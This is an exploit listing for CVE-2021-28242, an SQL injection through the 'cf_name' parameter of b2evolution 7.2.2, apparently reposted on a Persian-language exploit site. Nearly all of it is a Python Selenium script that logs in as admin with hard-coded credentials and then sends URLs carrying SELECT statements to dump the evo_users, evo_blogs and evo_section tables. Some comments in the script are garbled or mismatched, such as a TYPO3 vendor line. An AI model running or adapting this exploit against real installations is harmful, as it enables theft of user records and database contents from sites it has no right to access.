b2evolution 7-2-2 - 'cf_name' SQL Injection

# Exploit Title: b2evolution 7-2-2 - 'cf_name' SQL Injection 
# Author: @nu11secur1ty
# Testing and Debugging: @nu11secur1ty
# Date: 05.06.2021
# Vendor: https://b2evolution.net/
# Link: https://b2evolution.net/downloads/7-2-2
# CVE: CVE-2021-28242
# Proof: https://streamable.com/x51kso

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# CVE-2021-28242


from selenium import webdriver
import time


# Vendor: https://typo3.org/
website_link="
http://192.168.1.3/b2evolution/index.php?disp=login&redirect_to=%2Fb2evolution%2Findex.php%3Fblog%3D2&return_to=%2Fb2evolution%2Findex.php%3Fblog%3D2&source=menu%20link"

# enter your login username
username="admin"

# enter your login password
password="FvsDq7fmHvWF"

#enter the element for username input field
element_for_username="x"

#enter the element for password input field
element_for_password="q"

#enter the element for submit button
element_for_submit="login_action[login]"


browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Safari() #for macOS users[for others use chrome vis
chromedriver]
#browser = webdriver.Firefox() #uncomment this line,for chrome users

browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element  = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()

# Exploit vulnerability MySQL obtain sensitive database information by
injecting SQL commands into the "cf_name" parameter
time.sleep(7)
# Receaving sensitive info for evo_users
browser.get(("http://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT+*+FROM+%60evo_users%60+ORDER+BY+%60evo_&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections"))

time.sleep(7)
# Receaving sensitive info for evo_blogs
browser.get(("
http://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT%20*%20FROM%20`evo_blogs`%20ORDER%20BY%20`evo_blogs`.`blog_name`&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections"))

time.sleep(7)
# Receaving sensitive info for evo_section
browser.get(("http://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT%20*%20FROM%20`evo_section`%20ORDER%20BY%20`evo_section`.`sec_name`&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections"))


time.sleep(7)
browser.close()


print("At the time, of the exploit, you had to see information about the
tables...\n")



except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Sorry, your exploit is not working for some reasons...")

درحال حاضر تحلیل هوش مصنوعی برای این اکسپلویت تولید نشده است!

موضوع بپرسید